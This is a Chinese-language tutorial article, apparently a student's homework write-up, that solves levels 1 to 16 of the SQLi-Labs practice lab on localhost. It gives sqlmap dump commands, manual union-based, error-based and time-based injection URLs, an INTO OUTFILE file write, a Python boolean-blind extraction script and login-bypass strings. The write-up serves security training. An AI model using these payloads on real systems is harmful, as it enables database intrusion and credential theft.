前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

作者头像
Ms08067安全实验室
发布2022-12-22 15:44:47
2.1K0
发布2022-12-22 15:44:47
举报

文章来源 | MS08067 Web零基础就业班1期作业

本文作者:giunwr、tyrant(零基础1期)

SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:

一、作业描述

完成sqllibs前18关,尽可能使用多的方法

二、sqllibs安装和sqlmap的安装

(一)、sqllibs安装

把对应该文件放在网站根目录下面,打开配置文件,修改密码

同时在自己的数据库中,执行该文件里面的命令即可

安装成功后的效果

(二)、sqlmap安装

环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap

安装步骤:下载好工具后,解压

创建访问快捷方式:

桌面右键创建快捷方式

创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)

打开测试是否安装成功 python3 sqlmap.py -h

三、第一关

(一)、使用sqlmap工具注入

判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1"

找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db

找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security"

找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users"

获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dump

或者使用这个命令python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --dump -D "security" -T "users" -C "password,username"

(二)、手动联合注入
  1. 判断是否存在注⼊及注⼊类型 说明是单引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")

2、判断列数 可以看出当前是表是有3列数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%204--+

http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%203--+

5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

4、爆数据库 当前数据库为:securityhttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+

5、爆表 有个users表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+

6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+

7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+

(三)、手动报错注入

爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+

爆表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),0x7e))--+

爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20where%20TABLE_SCHEMA%20=%22security%22%20AND%20TABLE_NAME=%22users%22)USING%20gbk),0x7e))--+

爆数据 注意extractvalue()最多只能查询32个字符。http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users)USING%20gbk),0x7e))--+

而该字段有8个数据,而上面只获取了5个账号信息http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select count(*) from security.users),0x7e))--+

获取剩下的数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users%20where%20id%3E5)USING%20gbk),0x7e))--+

获取admin对应的密码http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(password)%20from%20security.users%20where%20id=8)USING%20gbk),0x7e))--+

四、第二关

http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入

http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=1 正常 http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2 异常 判断为数字型SQL注入

其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+

五、第三关

判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+

六、第四关

判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111

七、第五关

判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22)

剩下的和第一关中的报错注入一模一样,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+

八、第六关

判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)111

其余参考第一关报错注入

九、第七关

注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv"

这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username"

手动注入判断注入类型:字符型注入 ?id=1'))

http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+

其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk)%20into%20outfile%20%22F:/res1.txt%22%20--+

十、第八关

判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+

可以看出报错和不报错的明显差别

使用布尔盲注 python脚本如下

import requests
import string
mystring = string.printable #所有可⻅字符
url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/'
# url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -'
url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
#         print((response.content))
#         print(url.format(count,char))
        if reply in str(response.content):
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
        print('result: '+result[0:-3])
        break
    count+=1

url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22

执行效果如下

十一、第九关

时间盲注

这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。

用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+

	可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。

十二、第十关

时间盲注

这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入

十三、第十一关

万能密码

这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。

十四、第十二关

这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关

十五、第十三关

这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关

十六、第十四关

这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关

十七、第十五关

这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。

十八、第十六关

类似15关,猜测语句为1") or 1 #,顺利过关
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-12-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、作业描述
  • 二、sqllibs安装和sqlmap的安装
  • 三、第一关
  • 四、第二关
  • 五、第三关
  • 六、第四关
  • 七、第五关
  • 八、第六关
  • 九、第七关
  • 十、第八关
  • 十一、第九关
  • 时间盲注
    • 十二、第十关
    • 时间盲注
      • 十三、第十一关
      • 万能密码
        • 十四、第十二关
          • 十五、第十三关
            • 十六、第十四关
              • 十七、第十五关
                • 十八、第十六关
                相关产品与服务
                数据库
                云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档